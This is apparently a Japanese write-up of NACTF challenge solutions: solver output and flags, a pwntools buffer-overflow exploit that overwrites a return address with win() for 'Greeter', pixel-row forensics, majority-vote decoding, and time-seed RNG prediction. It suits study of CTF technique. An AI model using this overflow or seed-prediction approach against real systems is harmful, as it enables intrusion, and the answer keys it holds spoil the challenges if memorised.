[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBA
[+] coordinates = (18.34190344872168, 49.88539663682489)
[+] country = Yemen
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBAY
[+] coordinates = (49.26081518856387, 39.55267665158491)
[+] country = Ukraine
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBAYU
[+] coordinates = (43.72471712631733, 19.312826677730367)
[+] country = Bosnia and Herzegovina
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBAYUB
[+] coordinates = (39.482563391305106, 29.289350673373175)
[+] country = Turkey
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBAYUBT
[+] coordinates = (-1.5830518037832224, 30.412157237720475)
[+] country = Rwanda
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBAYUBTR
[+] coordinates = (-0.9218881032413536, 31.682955507638592)
[+] country = Uganda
[+] message = IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBAYUBTRU
[+] flag = nactf{IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBAYUBTRU}
nactf{IHOPEYOUENJOYEDGOINGONTHATREALLYLONGGLOBALTOURIBOFAIQFUSETZOROPZNQTLENFLFSEMOGMHDBEEIZOIUOCGSLCDYMQYIRLBZKNHHFGBPDIVNBUQQYPDCQIAVDYTRFOCESEQUOUUMSKYJOVKVJGMRGNATNIRESHRKHCEDHHZYQRZVOGCHSBAYUBTRU}

Greeter (Binary Exploitation 150)

$ gdb  -q ./greeter
Reading symbols from ./greeter...(no debugging symbols found)...done.
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x401220 <win>

適当なデータ64バイトの後に、このアドレスを指定する。

from pwn import *

p = remote('challenges.ctfd.io', 30249)
#p = process('./greeter')

data = p.recvline().rstrip()
print data
payload = 'a' * 64 + p64(0x401220)
print payload
p.sendline(payload)
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data
data = p.recvline().rstrip()
print data

実行結果は以下の通り。

[+] Opening connection to challenges.ctfd.io on port 30249: Done
What's your name?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \x12\x00\x00\x00
Why hello there aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa \x12!
congrats! here's your flag:
nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur}
[*] Closed connection to challenges.ctfd.io port 30249
nactf{n4v4r_us3_g3ts_5vlrDKJufaUOd8Ur}

Static (Forensics 250)

黒い線が10で割って7になるピクセルの行に多くあるので、その行だけ取り出して結合してみる。

from PIL import Image

img = Image.open('flag.png').convert('RGB')
w, h = img.size

output_img = Image.new('RGB', (w, h / 10), (255, 255, 255))

for y in range(h / 10):
    for x in range(w):
        r, g, b = img.getpixel((x, y * 10 + 7))
        output_img.putpixel((x, y), (r, g, b))

output_img.save('real_flag.png')

f:id:satou-y:20201116230825p:plain

nactf{p1x3l5}

Error 0 (Cryptography 150)

2進数をデコードすると、ところどころにフラグの断片が見える。101回メッセージを出しているが、ノイズがあるということなので、同じ位置の文字で最も頻度が高い文字を採用する。

with open('enc.txt', 'r') as f:
    enc = f.read()

data = ''
for i in range(0, len(enc), 8):
    data += chr(int(enc[i:i+8], 2))

length = len(data) / 101

flag = []
for i in range(length):
    dic = {}
    for j in range(101):
        c = data[i+j*length]
        if c in dic:
            dic[c] += 1
        else:
            dic[c] = 1
    max_char = max(dic, key=dic.get)
    flag.append(max_char)

flag = ''.join(flag)
print flag
nactf{n01sy_n013j_|\|()|$'/}

Random Number Generator (Cryptography 250)

time.time()を使ったseedを使った乱数で、rで実際のランダム値を取ることができる。実際のランダム値と比較して、time.time()の値を探りあて、1回目と2回目のランダム値を予測する。

#!/usr/bin/python3
import socket
import random, time

def recvuntil(s, tail):
    data = b''
    while True:
        if tail in data:
            return data.decode()
        data += s.recv(1)

seed = round(time.time() / 100, 5)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('challenges.ctfd.io', 30264))

data = recvuntil(s, b'\n> ')
print(data + 'r')
s.sendall(b'r\n')
next0 = recvuntil(s, b'\n').rstrip()
print(next0)

while True:
    random.seed(seed)
    r = random.randint(1, 100000000)
    if r == int(next0):
        print('[+] seed =', seed)
        break
    seed = round(seed + 0.00001, 5)

next1 = str(random.randint(1, 100000000))
next2 = str(random.randint(1, 100000000))

data = recvuntil(s, b'\n> ')
print(data + 'g')
s.sendall(b'g\n')
data = recvuntil(s, b'> ')
print(data + next1)
s.sendall(next1.encode() + b'\n')
data = recvuntil(s, b'> ')
print(data + next2)
s.sendall(next2.encode() + b'\n')
data = recvuntil(s, b'\n').rstrip()
print(data)
data = recvuntil(s, b'\n').rstrip()
print(data)

実行結果は以下の通り。

Welcome to Dr. J's Random Number Generator!
[r] Print a new random number
[g] Guess the next two random numbers and receive the flag!
[q] Quit

> r
49259879
[+] seed = 16042320.50094

> g
Guess the next two random numbers for a flag!
Good luck!
Enter your first guess:
> 11243187
Wow, lucky guess... You won't be able to guess right a second time
Enter your second guess:
> 5997348
What? You must have psychic powers... Well here's your flag:
nactf{ch000nky_turn1ps_1674973}
nactf{ch000nky_turn1ps_1674973}